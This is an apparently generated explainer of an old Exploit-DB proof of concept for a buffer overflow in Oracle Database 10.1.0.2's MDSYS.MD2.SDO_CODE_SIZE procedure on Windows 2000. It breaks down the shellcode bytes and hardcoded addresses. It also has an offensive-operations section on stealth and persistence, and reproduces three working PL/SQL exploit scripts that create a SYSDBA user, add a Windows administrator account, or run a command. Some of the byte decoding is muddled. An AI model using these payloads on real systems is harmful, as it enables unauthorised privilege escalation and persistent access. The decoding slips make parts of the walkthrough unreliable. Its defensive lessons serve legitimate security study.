Oracle Database Server 10.1.0.2 Local Buffer Overflow Exploit Explained

Oracle Database Server 10.1.0.2 Local Buffer Overflow Exploit Explained
What this paper is
This paper presents a proof-of-concept (PoC) exploit for a buffer overflow vulnerability in the Oracle Database Server, specifically version 10.1.0.2, running on Windows 2000 Server SP4. The vulnerability lies within the MDSYS.MD2.SDO_CODE_SIZE procedure. The exploit leverages this overflow to execute arbitrary commands on the underlying operating system. The author provides three variations of the exploit, each demonstrating a different payload: creating a SYSDBA user, creating a local administrator user, and executing a simple dir command.
Simple technical breakdown
The core of the exploit is a specially crafted string passed as an argument to the MDSYS.MD2.SDO_CODE_SIZE procedure. This string is designed to:
- Overwrite the buffer: It starts with a large amount of padding (
As,Bs,Cs, etc.) to fill the expected buffer space and then overflow it. - Control execution flow: After the padding, specific bytes are injected that, when interpreted as machine code, redirect the program's execution to a new location. This new location contains shellcode.
- Execute shellcode: The shellcode is designed to perform actions on the Windows operating system. The provided examples show payloads that:
- Create a new Oracle SYSDBA user.
- Create a new local Windows user and grant it administrative privileges.
- Execute a simple OS command like
dir.
The vulnerability occurs because the SDO_CODE_SIZE procedure likely copies data into a fixed-size buffer without proper bounds checking, allowing an attacker to write beyond the allocated memory.
Complete code and payload walkthrough
The exploit is written in PL/SQL, Oracle's procedural extension to SQL. It defines a VARCHAR2 variable AAA to hold the exploit string and then calls the vulnerable procedure MDSYS.MD2.SDO_CODE_SIZE with AAA as the LAYER parameter.
Let's break down the AAA variable content, which is the heart of the exploit. The exploit string is constructed by concatenating various parts.
AAA := 'AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH'
-- This is the initial padding to overflow the buffer.
-- The exact number of 'A's, 'B's, etc., is crucial for overwriting the return address.Mapping:
'AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH'-> Buffer Overflow Padding. This large string of characters is designed to fill the vulnerable buffer and overwrite critical memory locations, including the return address on the stack. The specific sequence of characters is less important than the total length and the bytes that follow.
|| CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227)
/*
83C3 09 ADD EBX,9
FFE3 JMP EBX
*/Mapping:
CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227)-> Initial Shellcode Stage / Jump Instruction. These bytes represent machine code.CHR(131)(0x83)CHR(195)(0xC3)CHR(9)(0x09)CHR(255)(0xFF)CHR(227)(0xE3)
This sequence translates to the x86 assembly instructionsADD EBX, 9followed byJMP EBX. The purpose is to adjust a register (EBX) and then jump to the address it points to. This is a common technique to redirect execution to the next part of the shellcode.
|| CHR(251) || CHR(90) || CHR (227) || CHR(120) -- Jump to address 0x78E35AFB
/*
userenv.dll
78E35AFB 4B DEC EBX
78E35AFC FFD3 CALL EBX
*/Mapping:
CHR(251) || CHR(90) || CHR (227) || CHR(120)-> Targeted Jump/Call. These bytes are intended to land on a specific address in memory.CHR(251)(0xFB)CHR(90)(0x5A) - This isPUSH EDXin x86 assembly, notDEC EBXas commented. The comment seems to be a misinterpretation or outdated information.CHR(227)(0xE3)CHR(120)(0x78)
The comment suggests jumping to0x78E35AFBwithinuserenv.dll. The bytesCHR(251) || CHR(90) || CHR (227) || CHR(120)when combined with the precedingJMP EBXand the subsequent bytes, are designed to form a jump or call to a specific address. The comment78E35AFB 4B DEC EBXand78E35AFC FFD3 CALL EBXindicates the intended target and the assembly instructions found at that target address. The4BisDEC EBX, andFF D3isCALL EBX. The exploit is trying to land on an address whereEBX(after adjustments) points to a function to be called. The exact address0x78E35AFBis likely a hardcoded address withinuserenv.dllon a specific Windows version, which is a common technique for shellcode to find functions without relying on dynamic resolution.
|| CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR(80) || chr(184) || chr(191) ||
chr(142) || chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147) ||
chr(131) || chr(00) || chr(120) || chr(255) || chr(208)
/*
36:8D43 13 LEA EAX,DWORD PTR SS:[EBX+13]
50 PUSH EAX
B8 BF8E0178 MOV EAX,MSVCRT.system
FFD0 CALL EAX
B8 93830078 MOV EAX,MSVCRT._endthread
FFD0 CALL EAX
*/Mapping:
CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR(80) || chr(184) || chr(191) || chr(142) || chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147) || chr(131) || chr(00) || chr(120) || chr(255) || chr(208)-> Main Shellcode Execution. This is the core payload that performs the desired action.CHR(54)(0x36)CHR(141)(0x8D)CHR(67)(0x43)CHR(19)(0x13)CHR(80)(0x50)chr(184)(0xB8)chr(191)(0xBF)chr(142)(0x8E)chr(01)(0x01)chr(120)(0x78)chr(255)(0xFF)chr(208)(0xD0)chr(184)(0xB8)chr(147)(0x93)chr(131)(0x83)chr(00)(0x00)chr(120)(0x78)chr(255)(0xFF)chr(208)(0xD0)
This sequence of bytes translates to the following x86 assembly instructions (as indicated by the comments, though the comments might be slightly simplified or refer to specific addresses):
LEA EAX, DWORD PTR SS:[EBX+13](0x36:0x8D4313) - Loads the addressEBX + 13intoEAX.EBXwould have been adjusted by previous shellcode stages to point to a useful memory location.PUSH EAX(0x50) - Pushes the address calculated above onto the stack. This address likely points to the command string to be executed.MOV EAX, MSVCRT.system(0xB8 BF8E0178) - This instruction attempts to load the address of thesystemfunction fromMSVCRT.dllintoEAX. The address0x78018EBFis a hardcoded address forsysteminMSVCRT.dllon a specific Windows configuration.CALL EAX(0xFFD0) - Calls the function whose address is inEAX(i.e.,system). This executes the command string that was pushed onto the stack.MOV EAX, MSVCRT._endthread(0xB8 93830078) - Loads the address of the_endthreadfunction fromMSVCRT.dllintoEAX. This is likely to clean up the thread gracefully after execution.CALL EAX(0xFFD0) - Calls the_endthreadfunction.
|| 'echo CREATE USER ERIC IDENTIFIED BY MYPSW12; > c:\cu.sql'||chr(38)||'
echo GRANT DBA TO ERIC; >> c:\cu.sql '||chr(38)||' echo ALTER USER ERIC DEFAULT ROLE DBA;
>> c:\cu.sql'||chr(38)||'echo GRANT SYSDBA TO "ERIC" WITH ADMIN OPTION; >>
c:\cu.sql'||chr(38)||'echo QUIT >> c:\cu.sql '||chr(38)||'
c:\oracle\product\10.1.0\db_1\bin\sqlplus.exe "/ as sysdba" @c:\cu.sql 1>
c:\stdout.log 2> c:\stderr.log';Mapping:
'echo CREATE USER ERIC IDENTIFIED BY MYPSW12; > c:\cu.sql'||chr(38)||' ... || 'c:\oracle\product\10.1.0\db_1\bin\sqlplus.exe "/ as sysdba" @c:\cu.sql 1> c:\stdout.log 2> c:\stderr.log'-> Command String forsystem(). This is the actual command that will be executed by theMSVCRT.systemcall.- It first constructs a SQL script (
c:\cu.sql) by echoing commands to create a new Oracle user namedERICwith passwordMYPSW12, grantsDBAandSYSDBAprivileges, and setsDBAas the default role. chr(38)is the ampersand (&), used as a command separator in Windows batch scripting.- Finally, it calls
sqlplus.exewith/ as sysdbato execute the generated script, redirecting standard output and standard error to log files.
- It first constructs a SQL script (
Second Exploit Variation (Creating Windows User):
The second variation of the exploit is very similar, but the command string passed to MSVCRT.system is different:
|| 'net user admin2 /add '||chr(38)||' net localgroup Administradores
admin2 /add '||chr(38)||' net localgroup ORA_DBA admin2 /add';Mapping:
'net user admin2 /add '||chr(38)||' net localgroup Administradores admin2 /add '||chr(38)||' net localgroup ORA_DBA admin2 /add'-> Command String forsystem()(Windows User Creation).net user admin2 /add: Creates a new local Windows user namedadmin2.net localgroup Administradores admin2 /add: Adds theadmin2user to the local "Administrators" group (note: "Administradores" is the Spanish locale for Administrators, suggesting the target environment might be Spanish).net localgroup ORA_DBA admin2 /add: Adds theadmin2user to theORA_DBAlocal group, which is often used for Oracle administrative access.
Third Exploit Variation (Simple Command Execution):
The third variation is the simplest, with a very short command string:
|| 'dir>c:\dir.txt'; -- OS command to executeMapping:
'dir>c:\dir.txt'-> Command String forsystem()(Directory Listing).dir>c:\dir.txt: Executes thedircommand and redirects its output to a file namedc:\dir.txt. This is a basic test to confirm OS command execution.
Practical details for offensive operations teams
- Required Access Level: This is a local exploit. The attacker needs to have an existing, authenticated session with the Oracle database server, running with sufficient privileges to execute PL/SQL and call the
MDSYS.MD2.SDO_CODE_SIZEprocedure. The exploit itself doesn't grant initial access; it requires prior compromise or legitimate access to the database. - Lab Preconditions:
- A vulnerable Oracle Database Server 10.1.0.2 instance installed on Windows 2000 Server SP4.
- The
MDSYSschema and theMD2package must be accessible and not patched. - The user executing the PL/SQL must have
CREATE ANY PROCEDUREor similar privileges to executeMDSYS.MD2.SDO_CODE_SIZEif it's not publicly accessible. - Network connectivity to the target database server is assumed for initial access, but the exploit itself is local to the server.
- Tooling Assumptions:
- A SQL client capable of executing PL/SQL (e.g., SQL*Plus, SQL Developer, or a custom application connecting to the database).
- Knowledge of the target Oracle database version and operating system.
- The ability to craft and submit PL/SQL code.
- Execution Pitfalls:
- Hardcoded Addresses: The exploit relies on hardcoded memory addresses (e.g., for
MSVCRT.system,MSVCRT._endthread, and the jump target inuserenv.dll). These addresses can vary significantly between different Windows service pack levels, hotfixes, or even minor OS updates. If the target system has a different configuration, the shellcode will likely fail. - ASLR/DEP: While Windows 2000 Server SP4 is old and unlikely to have Address Space Layout Randomization (ASLR) or Data Execution Prevention (DEP) enabled by default, newer systems would render this exploit ineffective without significant modifications (e.g., ROP chains).
- Privilege Escalation: The exploit itself doesn't inherently grant higher privileges on the OS. It executes commands as the user that the Oracle database process is running under. If the Oracle process runs as a low-privilege user, the executed commands will also have low privileges. The exploit's payload (creating users/groups) aims to achieve privilege escalation after the initial command execution.
- Patching: Oracle and Microsoft would have released patches for this vulnerability. Running an unpatched version is a prerequisite.
- Schema/Package Availability: The
MDSYS.MD2.SDO_CODE_SIZEprocedure must exist and be callable. If the Spatial Data Option is not installed or the package is altered, the exploit will fail. - SQL Injection vs. Local Exploit: While the paper title mentions "Advanced SQL Injection," this specific exploit is a local buffer overflow triggered via PL/SQL. It requires authenticated access to the database to run the PL/SQL code. It's not a classic SQL injection that injects malicious SQL into a user-supplied parameter of a web application.
- Hardcoded Addresses: The exploit relies on hardcoded memory addresses (e.g., for
- Tradecraft Considerations:
- Stealth: Executing PL/SQL from a legitimate client is generally less noisy than direct OS-level exploits. However, the creation of new users, log files, and the execution of
sqlplus.exeornet usercommands will generate telemetry. - Persistence: The exploit can be used to create persistent access by creating new user accounts (both Oracle and Windows).
- Payload Delivery: The shellcode is embedded directly within the PL/SQL string. This makes it self-contained but also susceptible to character encoding issues or length limitations within PL/SQL strings.
- Stealth: Executing PL/SQL from a legitimate client is generally less noisy than direct OS-level exploits. However, the creation of new users, log files, and the execution of
Where this was used and when
- Discovery/Publication: The exploit was published by Esteban Fayo on April 13, 2005.
- Context: This exploit targets a specific, older version of Oracle Database (10.1.0.2) on a specific, older operating system (Windows 2000 Server SP4). It was likely used in penetration testing engagements or by attackers targeting environments that had not yet patched their Oracle databases or upgraded their operating systems. Given the age of the vulnerability and the systems it targets, its direct use in modern, sophisticated attacks is highly unlikely. It's more relevant for understanding historical vulnerabilities and the evolution of exploit techniques.
Defensive lessons for modern teams
- Patch Management is Crucial: This exploit highlights the critical importance of timely patching for both operating systems and database software. Unpatched systems remain vulnerable to known exploits.
- Least Privilege Principle: Running the Oracle database process under a highly privileged account increases the impact of a successful exploit. Implementing the principle of least privilege for database services is essential.
- Input Validation: While this is a buffer overflow in a database procedure, the underlying principle of validating input applies broadly. Applications should never trust user-supplied data and should perform rigorous validation and sanitization.
- Monitoring and Auditing: Database activity, especially the execution of PL/SQL procedures and OS command execution initiated from the database, should be logged and monitored. Anomalous activity, such as the creation of new users or unexpected file writes, should trigger alerts.
- Network Segmentation: Limiting direct network access to database servers from untrusted networks can reduce the attack surface.
- Secure Configuration: Ensure that database options and features are installed only when necessary. Unused or unpatched components can introduce vulnerabilities.
- Modern OS Protections: Modern operating systems have built-in protections like ASLR and DEP that make traditional buffer overflow exploits much harder to execute without advanced techniques like Return-Oriented Programming (ROP).
ASCII visual (if applicable)
This exploit is primarily a data manipulation and execution flow within a single process (the Oracle database listener/server process). A complex architectural diagram isn't strictly necessary for understanding the exploit's mechanism. However, we can visualize the stack overflow concept:
+-----------------------+
| Stack |
+-----------------------+
| ... |
+-----------------------+
| Function Arguments | <-- 'AAA' string starts here
| (e.g., LAYER parameter)|
+-----------------------+
| Return Address | <-- Overwritten by exploit padding
+-----------------------+
| Saved Frame Pointer | <-- Overwritten by exploit padding
+-----------------------+
| Local Variables | <-- Overwritten by exploit padding
+-----------------------+
| Buffer | <-- Exploit padding fills this and overflows
| |
| 'AAAAAAAAAAAA...' |
| 'BBBBBBBBBBBB...' |
| 'CCCCCCCCCCCC...' |
| 'DDDDDDDDDDDD...' |
| 'EEEEEEEEEEEE...' |
| 'FFFFFFFFFFFF...' |
| 'GGGGGGGGGGGG...' |
| 'HHHHHHHHHHHH...' |
| Shellcode Bytes | <-- Control flow redirected here
| (e.g., JMP EBX) |
| |
| Shellcode Payload | <-- e.g., CALL MSVCRT.system
| (e.g., MSVCRT.system) |
+-----------------------+Explanation:
The MDSYS.MD2.SDO_CODE_SIZE procedure likely has a local buffer on the stack. The exploit's long string of characters ('AAAAAAAA...') fills this buffer and then continues writing into adjacent memory on the stack. Crucially, it overwrites the Return Address, which is the address the function should return to after it finishes. By placing shellcode bytes after the padding, the exploit redirects the execution flow to these injected bytes when the function attempts to return. The shellcode then takes over, executing the desired OS commands.
Source references
- Paper ID: 932
- Paper Title: Oracle Database Server 10.1.0.2 - Local Buffer Overflow
- Author: Esteban Fayo
- Published: 2005-04-13
- Keywords: Windows, local
- Paper URL: https://www.exploit-db.com/papers/932
- Raw URL: https://www.exploit-db.com/raw/932
Original Exploit-DB Content (Verbatim)
/*
Advanced SQL Injection in Oracle databases
Exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDO_CODE_SIZE
of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4.
Fixes available at http://metalink.oracle.com.
The exploit creates a SYSDBA user ERIC with a password 'MYPSW12'
By Esteban Martinez Fayo
secemf@gmail.com
*/
DECLARE
a BINARY_INTEGER; -- return value
AAA VARCHAR2(32767);
BEGIN
AAA := 'AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH'
|| CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227)
/*
83C3 09 ADD EBX,9
FFE3 JMP EBX
*/
|| CHR(251) || CHR(90) || CHR (227) || CHR(120) -- Jump to address 0x78E35AFB
/*
userenv.dll
78E35AFB 4B DEC EBX
78E35AFC FFD3 CALL EBX
*/
|| CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR(80) || chr(184) || chr(191) ||
chr(142) || chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147) ||
chr(131) || chr(00) || chr(120) || chr(255) || chr(208)
/*
36:8D43 13 LEA EAX,DWORD PTR SS:[EBX+13]
50 PUSH EAX
B8 BF8E0178 MOV EAX,MSVCRT.system
FFD0 CALL EAX
B8 93830078 MOV EAX,MSVCRT._endthread
FFD0 CALL EAX
*/
|| 'echo CREATE USER ERIC IDENTIFIED BY MYPSW12; > c:\cu.sql'||chr(38)||'
echo GRANT DBA TO ERIC; >> c:\cu.sql '||chr(38)||' echo ALTER USER ERIC DEFAULT ROLE DBA;
>> c:\cu.sql '||chr(38)||' echo GRANT SYSDBA TO "ERIC" WITH ADMIN OPTION; >>
c:\cu.sql'||chr(38)||'echo QUIT >> c:\cu.sql '||chr(38)||'
c:\oracle\product\10.1.0\db_1\bin\sqlplus.exe "/ as sysdba" @c:\cu.sql 1>
c:\stdout.log 2> c:\stderr.log';
a := MDSYS.MD2.SDO_CODE_SIZE (LAYER => AAA);
END;
--------------------------------------------------------------------------------------------------------
/*
Advanced SQL Injection in Oracle databases
Exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDO_CODE_SIZE
of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4.
Fixes available at http://metalink.oracle.com.
The exploit creates a Windows user ERIC with Administrator privilege.
By Esteban Martinez Fayo
secemf@gmail.com
*/
DECLARE
a BINARY_INTEGER; -- return value
AAA VARCHAR2(32767);
BEGIN
AAA := 'AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH'
|| CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227)
/*
83C3 09 ADD EBX,9
FFE3 JMP EBX
*/
|| CHR(251) || CHR(90) || CHR (227) || CHR(120) -- Jump to address 0x78E35AFB
/*
userenv.dll
78E35AFB 4B DEC EBX
78E35AFC FFD3 CALL EBX
*/
|| CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR(80) || chr(184) || chr(191)
|| chr(142) || chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147)
|| chr(131) || chr(00) || chr(120) || chr(255) || chr(208)
/*
36:8D43 13 LEA EAX,DWORD PTR SS:[EBX+13]
50 PUSH EAX
B8 BF8E0178 MOV EAX,MSVCRT.system
FFD0 CALL EAX
B8 93830078 MOV EAX,MSVCRT._endthread
FFD0 CALL EAX
*/
|| 'net user admin2 /add '||chr(38)||' net localgroup Administradores
admin2 /add '||chr(38)||' net localgroup ORA_DBA admin2 /add';
a := MDSYS.MD2.SDO_CODE_SIZE (LAYER => AAA);
end;
--------------------------------------------------------------------------------------------------------
/*
Advanced SQL Injection in Oracle databases
Proof of concept exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDO_CODE_SIZE
of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4.
Fixes available at http://metalink.oracle.com.
By Esteban Martinez Fayo
secemf@gmail.com
*/
DECLARE
a BINARY_INTEGER; -- return value
AAA VARCHAR2(32767);
BEGIN
AAA := 'AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH'
|| CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227)
/*
83C3 09 ADD EBX,9
FFE3 JMP EBX
*/
|| CHR(251) || CHR(90) || CHR (227) || CHR(120) -- Jump to address 0x78E35AFB
/*
userenv.dll
78E35AFB 4B DEC EBX
78E35AFC FFD3 CALL EBX
*/
|| CHR(54) || CHR(141) || CHR(67) || CHR(19) || CHR(80) || chr(184) || chr(191) || chr(142)
|| chr(01) || chr(120) || chr(255) || chr(208) || chr(184) || chr(147) || chr(131) ||
chr(00) || chr(120) || chr(255) || chr(208)
/*
36:8D43 13 LEA EAX,DWORD PTR SS:[EBX+13]
50 PUSH EAX
B8 BF8E0178 MOV EAX,MSVCRT.system
FFD0 CALL EAX
B8 93830078 MOV EAX,MSVCRT._endthread
FFD0 CALL EAX
*/
|| 'dir>c:\dir.txt'; -- OS command to execute
a := MDSYS.MD2.SDO_CODE_SIZE (LAYER => AAA);
END;
// milw0rm.com [2005-04-13]